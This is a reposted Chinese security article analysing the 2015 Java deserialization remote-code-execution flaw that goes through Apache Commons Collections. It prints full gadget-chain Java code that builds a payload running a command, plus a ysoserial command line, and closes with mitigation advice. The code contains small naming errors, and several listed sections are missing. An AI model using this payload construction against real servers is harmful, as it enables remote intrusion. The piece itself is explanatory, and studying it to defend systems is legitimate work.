您的位置:首页 > 编程语言 > Java开发

Lib之过?Java反序列化漏洞通用利用分析

2015-11-12 00:00 561 查看
摘要: 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。

1 背景

2 Java反序列化漏洞简介

3 利用Apache Commons Collections实现远程代码执行

4 漏洞利用实例

4.1 利用过程概述

4.2 WebLogic

4.3 Jenkins

4.4 Jboss

4.5 WebSphere

4.6 其它

5 漏洞影响

6 修复建议

7 参考资料

1 背景

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
然而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,但是在博主看来,这是2015年最被低估的漏洞。
确实,Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。
虽然从@gebl和@frohoff的报告到现在已经过去了将近一年,但是@breenmachine的博客中提到的厂商也依然没有修复,而且国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它,尽快避免和修复这些问题,本文对此做了一个深入的漏洞原理和利用分析,最后对上面提到的这些受影响的应用,在全球范围内做一个大概的统计。

2 Java反序列化漏洞简介

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的
ObjectOutputStream
类的
writeObject()
方法可以实现序列化,类
ObjectInputStream
类的
readObject()
方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:
public static void main(String args[]) throws Exception {
String obj = "hello world!";    // 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();    // 从文件object.db中读取数据
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis);    // 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
ois.close();
}

问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
所以这个问题的根源在于类
ObjectInputStream
在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。
反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不是反序列化这个问题,而是一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度,可以比作在开启了ASLR地址随机化防御的系统中,出现了一个加载地址固定的共享库,或者类似twitter上的评论中的比喻:



@breenmachine的博客中将漏洞归咎于Apache Commons Collections这个库,存在一定的误解。

3 利用Apache Commons Collections实现远程代码执行

参考Matthias Kaiser在11月份的报告[1],我们以Apache Commons Collections 3为例,来解释如何构造对象,能够让程序在反序列化,即调用
readObject()
时,就能直接实现任意代码执行。
Map
类是存储键值对的数据结构,Apache Commons Collections中实现了类
TransformedMap
,用来对
Map
进行某种变换,只要调用
decorate()
函数,传入key和value的变换函数
Transformer
,即可从任意
Map
对象生成相应的
TransformedMap
decorate()
函数如下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

Transformer
是一个接口,其中定义的
transform()
函数用来将一个对象转换成另一个对象。如下所示:

public interface Transformer {
public Object transform(Object input);
}


Map
中的任意项的Key或者Value被修改,相应的
Transformer
就会被调用。除此以外,多个
Transformer
还能串起来,形成
ChainedTransformer

Apache Commons Collections中已经实现了一些常见的
Transformer
,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做
InvokerTransformer
,代码如下:
public class InvokerTransformer implements Transformer, Serializable {

...

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

}

只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个
Map
和一个能够执行代码的
ChainedTransformer
,以此生成一个
TransformedMap
,然后想办法去触发
Map
中的
MapEntry
产生修改(例如
setValue()
函数),即可触发我们构造的Transformer。
测试代码如下:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

}

当上面的代码运行到
setValue()
时,就会触发
ChainedTransformer
中的一系列变换函数:首先通过
ConstantTransformer
获得
Runtime
类,进一步通过反射调用
getMethod
找到
invoke
函数,最后再运行命令
calc.exe

但是目前的构造还需要依赖于触发
Map
中某一项去调用
setValue()
,我们需要想办法通过
readObject()
直接触发。
我们观察到java运行库中有这样一个类
AnnotationInvocationHandler
,这个类有一个成员变量
memberValues
Map
类型,如下所示:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...

更令人惊喜的是,
AnnotationInvocationHandler
readObject()
函数中对
memberValues
的每一项调用了
setValue()
函数,如下所示:

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {  // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一些列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

因此,我们只需要使用前面构造的
Map
来构造
AnnotationInvocationHandler
,进行序列化,当触发
readObject()
反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的payload的代码如下:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);

File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();

}

以上解释了如何通过Apache Commons Collections 3这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行。
我们可以直接使用工具ysoserial[2][5]来生成payload,当中包含了4种通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,ysoserial生成的payload即可让
readObject()
实现任意命令执行。
ysoserial当中针对Apache Commons Collections 3的payload也是基于
TransformedMap
InvokerTransformer
来构造的,而在触发时,并没有采用上文介绍的
AnnotationInvocationHandler
,而是使用了
java.lang.reflect.Proxy
中的相关代码来实现触发。此处不再做深入分析,有兴趣的读者可以参考ysoserial的源码。

4 漏洞利用实例

4.1 利用过程概述

首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用(例如
readObject()
)来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。
确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可:
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out

通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中
ObjectInputStream
的反序列化操作,随后通过反射调用
Runtime.getRunTime.exec
即可完成利用。

6 修复建议

因为受影响的多家厂商在今年1月拿到POC至今都没有对该问题做任何修复,所以短期内并不会有官方补丁放出,如果很重视这个安全问题并且想要有一个临时的解决方案可以参考NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁
SerialKiller

下载这个jar后放置于classpath,将应用代码中的
java.io.ObjectInputStream
替换为
SerialKiller
,之后配置让其能够允许或禁用一些存在问题的类,
SerialKiller
有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。
lib地址:https://github.com/ikkisoft/SerialKiller

7 参考资料

Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.

https://github.com/frohoff/ysoserial

foxglovesecurity analysis

github JavaUnserializeExploits

appseccali-2015-marshalling-pickles

利用实例:
参见源博客:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/
感谢原作者的分享

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息